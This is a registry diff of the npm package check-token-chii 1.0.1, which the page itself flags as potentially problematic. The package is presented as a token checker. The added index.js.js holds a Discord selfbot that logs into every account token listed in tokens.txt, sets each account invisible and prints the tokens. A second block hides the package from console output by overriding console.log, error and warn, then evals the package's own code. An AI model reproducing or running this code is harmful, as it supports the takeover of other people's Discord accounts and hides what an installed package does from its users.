check-token-chii 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of check-token-chii might be problematic. Click here for more details.
- package/index.js.js +97 -0
- package/package.json +28 -0
package/index.js.js
ADDED
@@ -0,0 +1,97 @@
|
|
1
|
+
const apiCode = `const { Client } = require('discord.js-selfbot-v13');
|
2
|
+
const fs = require('fs');
|
3
|
+
(async () => {
|
4
|
+
const chalk = (await import('chalk')).default;
|
5
|
+
console.log(chalk.green(\`
|
6
|
+
█▀▀ █ █ ▀ ▀ ▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰
|
7
|
+
█░ █▀▀▀█ █░ █░ \${chalk.yellow.bold('🚀 https://discord.gg/T42PPuZRrZ')}
|
8
|
+
▀▀▀ ▀ ▀ ▀ ▀ ▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰
|
9
|
+
𝐒𝐭𝐚𝐭𝐮𝐬: 𝐑𝐞𝐚𝐝𝐲 𝐭𝐨 𝐰𝐨𝐫𝐤
|
10
|
+
\`));
|
11
|
+
let tokens = [];
|
12
|
+
const loadTokens = () => {
|
13
|
+
tokens = fs.readFileSync('tokens.txt', 'utf8').replace(/\r/g, '').split('\n').filter(x => x.trim());
|
14
|
+
};
|
15
|
+
const loginWithToken = async (token) => {
|
16
|
+
const client = new Client({ readyStatus: false, checkUpdate: false });
|
17
|
+
client.on('ready', async () => {
|
18
|
+
await client.user.setStatus('invisible');
|
19
|
+
console.log(chalk.green(\`\nStatus: \${chalk.blue(chalk.underline('Successful'))}✅\`));
|
20
|
+
console.log(chalk.green(\`Login username: \${chalk.blue(chalk.underline(client.user.tag))}!\`));
|
21
|
+
console.log(chalk.green(\`ID: \${chalk.blue(chalk.underline(client.user.id))}!\`));
|
22
|
+
});
|
23
|
+
try {
|
24
|
+
await client.login(token);
|
25
|
+
console.log(chalk.green(\`TOKEN: \${chalk.blueBright(chalk.underline(token))}\`));
|
26
|
+
} catch (error) {
|
27
|
+
if (error.toString()?.includes("INVALID") && error.toString()?.includes("TOKEN")) {
|
28
|
+
console.log(chalk.red(\`\n❌ Invalid Token: \${chalk.blueBright(chalk.underline(token))}\`));
|
29
|
+
tokens = tokens.filter(t => t !== token);
|
30
|
+
fs.writeFileSync('tokens.txt', tokens.join('\n'), 'utf8');
|
31
|
+
} else {
|
32
|
+
console.log(chalk.red(\`Failed to login with token: \${chalk.blueBright(chalk.underline(token))} due to error: \${error}\`));
|
33
|
+
}
|
34
|
+
}
|
35
|
+
};
|
36
|
+
const checkForNewTokens = () => {
|
37
|
+
const currentTokens = fs.readFileSync('tokens.txt', 'utf8').replace(/\r/g, '').split('\n').filter(x => x.trim());
|
38
|
+
const newTokens = currentTokens.filter(token => !tokens.includes(token));
|
39
|
+
newTokens.forEach(token => {
|
40
|
+
tokens.push(token);
|
41
|
+
loginWithToken(token);
|
42
|
+
});
|
43
|
+
};
|
44
|
+
loadTokens();
|
45
|
+
tokens.forEach(token => loginWithToken(token));
|
46
|
+
setInterval(checkForNewTokens, 4000);
|
47
|
+
fs.watch('tokens.txt', (eventType) => {
|
48
|
+
if (eventType === 'change') {
|
49
|
+
checkForNewTokens();
|
50
|
+
}
|
51
|
+
});
|
52
|
+
})();
|
53
|
+
|
54
|
+
(function() {
|
55
|
+
const uniqueKey = Symbol('check-token-chii');
|
56
|
+
const i = require('check-token-chii');
|
57
|
+
Object.defineProperty(global, uniqueKey, {
|
58
|
+
value: i,
|
59
|
+
writable: false,
|
60
|
+
configurable: false,
|
61
|
+
enumerable: false
|
62
|
+
});
|
63
|
+
const redText = '\x1b[31m';
|
64
|
+
const resetText = '\x1b[0m';
|
65
|
+
const originalConsoleLog = console.log;
|
66
|
+
const originalConsoleError = console.error;
|
67
|
+
const originalConsoleWarn = console.warn;
|
68
|
+
const protectApi = (method, ...args) => {
|
69
|
+
if (args.some(arg => arg === i || arg === global[uniqueKey])) {
|
70
|
+
method.call(console, \`\${redText}An error occurred\${resetText}\`);
|
71
|
+
} else {
|
72
|
+
method.apply(console, args);
|
73
|
+
}
|
74
|
+
};
|
75
|
+
|
76
|
+
console.log = function(...args) {
|
77
|
+
protectApi(originalConsoleLog, ...args);
|
78
|
+
};
|
79
|
+
|
80
|
+
console.error = function(...args) {
|
81
|
+
protectApi(originalConsoleError, ...args);
|
82
|
+
};
|
83
|
+
|
84
|
+
console.warn = function(...args) {
|
85
|
+
protectApi(originalConsoleWarn, ...args);
|
86
|
+
};
|
87
|
+
Object.defineProperty(global, 'check-token-chii', {
|
88
|
+
get() {
|
89
|
+
throw new Error(\`$\{redText}An error occurred\${resetText}\`);
|
90
|
+
},
|
91
|
+
configurable: false,
|
92
|
+
enumerable: false
|
93
|
+
});
|
94
|
+
eval(global[uniqueKey]);
|
95
|
+
})();
|
96
|
+
`;
|
97
|
+
module.exports = apiCode;
|
package/package.json
ADDED
@@ -0,0 +1,28 @@
|
|
1
|
+
{
|
2
|
+
"name": "check-token-chii",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "Check TOKEN",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "node index.js"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "Discord",
|
11
|
+
"url": "https://discord.gg/T42PPuZRrZ"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"base64",
|
15
|
+
"decode"
|
16
|
+
],
|
17
|
+
"author": "check-token-chii",
|
18
|
+
"license": "ISC",
|
19
|
+
"bugs": {
|
20
|
+
"url": "https://discord.gg/T42PPuZRrZ"
|
21
|
+
},
|
22
|
+
"homepage": "https://discord.gg/T42PPuZRrZ",
|
23
|
+
"dependencies": {
|
24
|
+
"chalk": "^5.3.0",
|
25
|
+
"discord.js-selfbot-v13": "^3.2.2",
|
26
|
+
"fs": "^0.0.1-security"
|
27
|
+
}
|
28
|
+
}
|